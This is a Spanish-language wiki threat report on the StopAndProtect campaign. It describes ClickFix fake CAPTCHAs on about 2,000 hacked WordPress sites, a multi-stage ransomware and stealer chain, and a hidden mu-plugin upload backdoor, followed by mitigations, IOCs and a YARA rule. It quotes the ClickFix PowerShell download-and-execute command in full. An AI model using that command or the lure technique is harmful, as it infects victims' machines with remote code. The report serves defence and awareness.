Operación StopAndProtect: Infraestructura Criminal con 2,000 Sitios WordPress Comprometidos (2026)

De CiberWiki

Nombres Alternativos / Aliases

  • StopAndProtect (Nombre de la operación y del componente de ransomware)
  • ClickFix WordPress Campaign (Por la técnica de ingeniería social)
  • SilentEncryptor Ransomware (Por el componente de cifrado)
  • SilentDataCollector Stealer (Por el componente de robo de datos)

Fecha de Detección / Actividad

  • Primera detección del ransomware: Mediados de mayo de 2026
  • Período de recolección de datos: Mayo - julio de 2026
  • Sitios WordPress comprometidos: Aproximadamente 2,000
  • Ordenadores infectados: Más de 5,000
  • Capturas de pantalla robadas: Alrededor de 31,000
  • Archivos de datos robados: Más de 700
  • Direcciones IP únicas afectadas: Más de 6,000
  • Estado: Activa (los operadores continúan gestionando la infraestructura)

Actor de Amenaza (Atribución)

Característica Detalle
Nombre del Actor Desconocido (operadores de StopAndProtect)
Vínculo Gubernamental No establecido
Tipo de Actor Ciberdelincuencia / Ransomware-as-a-Service (RaaS)
Sofisticación ALTA. Los operadores demuestran:
  • Infraestructura distribuida con ~2,000 sitios WordPress comprometidos
  • Toolkit modular con 6 componentes especializados
  • Automatización de gestión masiva con herramienta en Visual Basic 6
  • Técnicas avanzadas de evasión (ofuscación, sandbox checks, ejecución en memoria)
  • Capacidades de vigilancia sofisticadas (keylogging, captura de pantalla, extracción de WhatsApp) | | Motivación | Financiera (ransomware y extorsión) | | Errores de OPSEC | CRÍTICOS: Los operadores expusieron directorios abiertos, registros de infección, capturas de pantalla de víctimas y el código fuente de sus herramientas de gestión

Resumen Ejecutivo

StopAndProtect es una operación de ciberdelincuencia a gran escala identificada por Check Point Research que ha comprometido aproximadamente 2,000 sitios web de WordPress para utilizarlos como infraestructura distribuida para la distribución de malware, el control de máquinas infectadas y el almacenamiento de datos robados . La campaña combina ransomware con robo de datos, utilizando una cadena de infección de múltiples etapas que comienza con una técnica de ingeniería social ClickFix .

El descubrimiento: Fallos de OPSEC del atacante

Lo que hace excepcional este caso es que los propios operadores cometieron errores de seguridad operativa (OPSEC) que expusieron toda su infraestructura:

  • Directorios PHP abiertos que permitían listar archivos
  • Registros detallados de infección de máquinas de víctimas
  • 31,000 capturas de pantalla de ordenadores infectados
  • Código fuente de las herramientas utilizadas para gestionar masivamente sitios WordPress comprometidos
  • Listados de aproximadamente 2,000 dominios WordPress comprometidos

Además, los investigadores sospechan que uno de los operadores infectó accidentalmente su propio ordenador, lo que provocó que archivos de desarrollo internos se subieran a la misma infraestructura utilizada para recopilar los datos robados de las víctimas .

"StopAndProtect shows how attackers can turn thousands of poorly maintained WordPress sites into a distributed criminal infrastructure for malware delivery, surveillance, data theft, and ransomware." — Eli Smadja, Check Point Research

Vector de Ataque / Métodos de Distribución

ClickFix: El punto de entrada

La cadena de infección comienza cuando una víctima visita un sitio web de WordPress comprometido y ve una solicitud falsa de CAPTCHA utilizando la técnica de ingeniería social ClickFix :

  1. El sitio muestra un CAPTCHA falso (similar a Cloudflare)
  2. Se instruye al usuario para que copie, pegue y ejecute un comando en su propio ordenador
  3. El comando se copia automáticamente al portapapeles mediante JavaScript
  4. El usuario ejecuta: powershell -w hidden -ep bypass -c IEX ((New-Object Net.WebClient).DownloadString('${psUrl}'))

"Legitimate CAPTCHA challenges should never require users to copy, paste, or run commands outside the browser." — Check Point Research

Cadena de infección completa

La ejecución del comando PowerShell desencadena un proceso de múltiples etapas :

Etapa Componente Función
PowerShell 1 Script inicial Envía registro de ejecución al C2 y descarga la segunda etapa
PowerShell 2 Script secundario Decodifica y ejecuta en memoria el primer cargador .NET
Stage 1 (.NET) Descargador Envía estadísticas al C2 y carga la siguiente etapa
Stage 2 (.NET) Descargador y cargador Incluye comprobaciones de sandbox y mecanismos de registro; lanza los componentes principales
Stage 3 (.NET) Módulos funcionales SilentEncryptor, NetworkShareScanner, LockScreen, SimpleChatProxy, SilentDataCollector, VBS spreader

El papel de los sitios WordPress comprometidos

Los sitios WordPress comprometidos cumplen tres funciones principales en la operación :

  • Hosting de malware: Alojan las diferentes etapas de la cadena de infección
  • Comando y control (C2) : Envían instrucciones a las máquinas infectadas
  • Almacenamiento de datos: Guardan registros, capturas de pantalla y documentos robados

Vulnerabilidades explotadas

Los atacantes aprovechan instalaciones de WordPress desactualizadas . Un sitio analizado ejecutaba una versión de WordPress de 2021 y contenía casi 40 vulnerabilidades , incluyendo:

  • Fallos de inyección SQL
  • Redirecciones abiertas
  • Omisión de autenticación
  • Cargas arbitrarias de archivos autenticadas

Componentes Maliciosos (Stage 3)

1. SilentEncryptor (Ransomware)

Característica Descripción
Función Cifra archivos en máquinas infectadas (todas o solo nombres de host específicos)
Derivación de clave Utiliza la contraseña de cada archivo + el nombre del equipo para generar una clave de 32 bytes
Persistencia Ambos valores se incrustan en el nombre del archivo cifrado, permitiendo a los operadores regenerar claves sin una base de datos
Pantalla de bloqueo Muestra un mensaje de rescate con un código QR de pago en criptomonedas

2. SilentDataCollector (Robo de datos)

Característica Descripción
Inventario de archivos Genera listas de todos los archivos en unidades fijas, extraíbles y de red
Exfiltración selectiva El operador puede subir un archivo de comandos para especificar qué archivos robar
Keylogging Registra pulsaciones de teclas con detección de direcciones de correo electrónico válidas
Captura de pantalla Toma capturas cada 30 segundos durante la actividad del usuario (más de 31,000 capturas recolectadas)
Extracción de WhatsApp Automatiza la búsqueda de contactos en WhatsApp Web y Desktop, extrayendo números de teléfono

3. NetworkShareScanner (Gusano SMB/USB)

  • Enumera recursos compartidos de red SMB y dispositivos USB conectados
  • Se propaga a otros dispositivos a través de la red

4. VBS Spreader

  • Se propaga a discos duros y medios extraíbles
  • Escanea la red y se mueve lateralmente mediante creación remota de procesos a través de WMI

5. LockScreen

  • Bloquea la entrada del usuario
  • Muestra un mensaje de rescate con un código QR de pago

6. SimpleChatProxy (Chat personalizado)

  • Aplicación de chat personalizada para la comunicación entre la víctima y el operador
  • La entrada de la víctima está bloqueada; el operador puede enviar imágenes al cliente

Infraestructura y Herramientas del Operador

Backdoor persistente en WordPress (Must-Use Plugin)

Componente Descripción
Instalador mu-uploader-installer.php
MU Plugin wp-content/mu-plugins/wp-sec.php (se carga automáticamente en cada solicitud y no aparece en la interfaz de plugins)
Endpoint REST oculto /wp-json/wp-sec/v1/upload
Autenticación Credenciales codificadas
Capacidad Permite cargar archivos (incluyendo .php) a casi cualquier ruta bajo la raíz de WordPress
Auto-eliminación El plugin se desactiva y se elimina después de su uso para evadir la detección

Herramienta de automatización fMain (Visual Basic 6)

Los investigadores recuperaron el código fuente de una herramienta de automatización personalizada llamada fMain.frm, desarrollada en Visual Basic 6 (una herramienta obsoleta lanzada hace casi 30 años) . Esta herramienta permite al operador gestionar masivamente los sitios WordPress comprometidos:

  • Cargar o eliminar archivos en sitios comprometidos
  • Activar o desactivar ClickFix con CAPTCHA falso
  • Activar o desactivar el almacenamiento en caché

Archivos expuestos (auto-infección)

Los investigadores encontraron un archivo comprimido que parece provenir de la auto-infección del operador , con nombres de proyecto internos como 0a_botnet y fake-captcha . Los archivos incluían:

  • Listas de dominios con CAPTCHA falso activo (~1,400 dominios)
  • Listas de dominios cargados exitosamente (~300 dominios)
  • Código fuente PHP para gestión de archivos y exploración

Impacto y Riesgo

Categoría Nivel Descripción
Alcance MUY ALTO ~2,000 sitios comprometidos, >5,000 máquinas infectadas, >6,000 IPs únicas
Capacidad de evasión ALTA Infraestructura distribuida, ejecución en memoria, sandbox checks
Detección BAJA Tráfico mezclado con actividad web legítima
Persistencia MUY ALTA Must-use plugins en WordPress que no aparecen en la interfaz de administración
Impacto en datos MUY ALTO Ransomware, robo de documentos, credenciales, capturas de pantalla, datos de WhatsApp

Distribución geográfica de víctimas (IPs únicas)

País IPs únicas
Estados Unidos 1,852
Rusia 630
India 630
Otros ~2,900

Consecuencias para las víctimas

Consecuencia Gravedad Detalle
Cifrado de archivos Crítica Ransomware SilentEncryptor
Robo de datos Crítica Documentos, credenciales, wallets de criptomonedas
Vigilancia Crítica Capturas de pantalla cada 30 segundos, keylogging
Extracción de contactos Alta Números de teléfono de WhatsApp
Compromiso de credenciales Alta Contraseñas y datos de autenticación

Recomendaciones de Mitigación

Para administradores de WordPress

Acción Prioridad Descripción
Auditar directorio wp-content/mu-plugins/ CRÍTICA Buscar archivos desconocidos, especialmente wp-sec.php
Actualizar WordPress y plugins CRÍTICA Muchos sitios comprometidos ejecutaban versiones obsoletas (ej. WordPress 2021 con ~40 vulnerabilidades)
Bloquear endpoint REST oculto ALTA Agregar regla WAF para bloquear /wp-json/wp-sec/v1/upload
Eliminar plugins no utilizados ALTA Desactivar complementos que no hayan sido actualizados en más de 12 meses
Revisar cuentas de administrador ALTA Buscar cuentas sospechosas o roles desconocidos
Deshabilitar exec, system, passthru ALTA Usar disable_functions en php.ini

Para usuarios finales

Acción Prioridad Descripción
No ejecutar comandos de CAPTCHA CRÍTICA Los CAPTCHA legítimos nunca piden copiar, pegar o ejecutar comandos
No confiar en "verificación humana" CRÍTICA Salir inmediatamente de cualquier sitio que pida pasos inusuales fuera del navegador
Mantener software actualizado ALTA Instalar las últimas actualizaciones de seguridad

Para equipos de seguridad

Acción Descripción
Monitorear actividad de PowerShell Buscar ejecución de PowerShell con -w hidden -ep bypass y descargas de URLs sospechosas
Habilitar ScriptBlock Logging PowerShell Constrained Language Mode
Buscar indicadores de compromiso Utilizar los IoCs publicados por Check Point Research
Reglas YARA Utilizar la regla StopAndProtectOperation publicada por Check Point

Opiniones de Expertos

"StopAndProtect shows how attackers can turn thousands of poorly maintained WordPress sites into a distributed criminal infrastructure for malware delivery, surveillance, data theft, and ransomware." — Eli Smadja, Check Point Research

"The operation doesn't rely on a single piece of malware, but on a whole toolkit of criminal software working together – some components encrypt files, others silently steal documents or lock the screen, and another acts as a live chat between the attackers and their victims." — Jaromír Hořejší, Check Point Research

Referencias y Fuentes

  1. Check Point Research. (2026, 18 de agosto). Thousands of Hacked WordPress Sites, One Operation: Unmasking StopAndProtect.
  2. The Hacker News. (2026, 18 de agosto). StopAndProtect Uses Nearly 2,000 Hacked WordPress Sites to Spread Malware and Steal Data.
  3. Check Point Blog. (2026, 17 de agosto). The Mistake That Exposed a Global Cyber Crime Operation.

Historial de Revisiones

Fecha Versión Autor Cambios Realizados
2026-08-19 1.0 Fernando Vargas Hincapié Creación inicial basada en análisis de Check Point Research y cobertura de prensa

Indicadores de Compromiso (IOCs)

Sitios WordPress Comprometidos

URL Propósito
maximumrock[.]ro Sitio comprometido
platinumcar[.]ca Sitio comprometido
norakremer.co[.]uk Sitio comprometido
pharmart[.]ae Sitio comprometido
ksr-racingparts[.]com Sitio comprometido

Sitios C2 Base

URL Propósito
vk.com[.]ua C2 base
www.lapellelaser[.]pl C2 base
www.parsrulman[.]com C2 base
mectcalcuta[.]com C2 base
discherniation[.]com C2 base

Endpoint Malicioso

Endpoint Propósito
/wp-json/wp-sec/v1/upload Endpoint REST oculto para carga de archivos PHP

Hashes (SHA-256)

Componente SHA-256
PowerShell Stage 1 cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0
PowerShell Stage 2 cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9
Stage 1 .NET Downloader 99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b
Stage 2 .NET Loader 9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527
SilentEncryptor b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489
NetworkShareScanner (Worm) 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4
LockScreen 11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e
SilentDataCollector 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70
VBS Spreader b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad
SimpleChatProxy 3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9

Regla YARA

yara 

rule StopAndProtectOperation
{
  meta:
        Description = "Detects StopAndProtect operation"
        Author = "Check Point Research"
        Date = "2026-05-26"
        Modified = "2026-05-26"
        Hash = "712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB"
  strings:
    $a = "C:\\Users\\marks\\source\\"
  condition:
    $a
}

Etiquetas / Categorías

stopandprotect-wordpress-botnet clickfix-ransomware-campaign silentencryptor-ransomware silentdatacollector-stealer 2000-hacked-wordpress-sites wordpress-mu-plugin-backdoor vb6-automation-tool ransomware-data-theft-global-campaign check-point-research
Obtenido de «https://darfe.es/ciberwiki/index.php?title=Operación_StopAndProtect:_Infraestructura_Criminal_con_2,000_Sitios_WordPress_Comprometidos_(2026)&oldid=3198»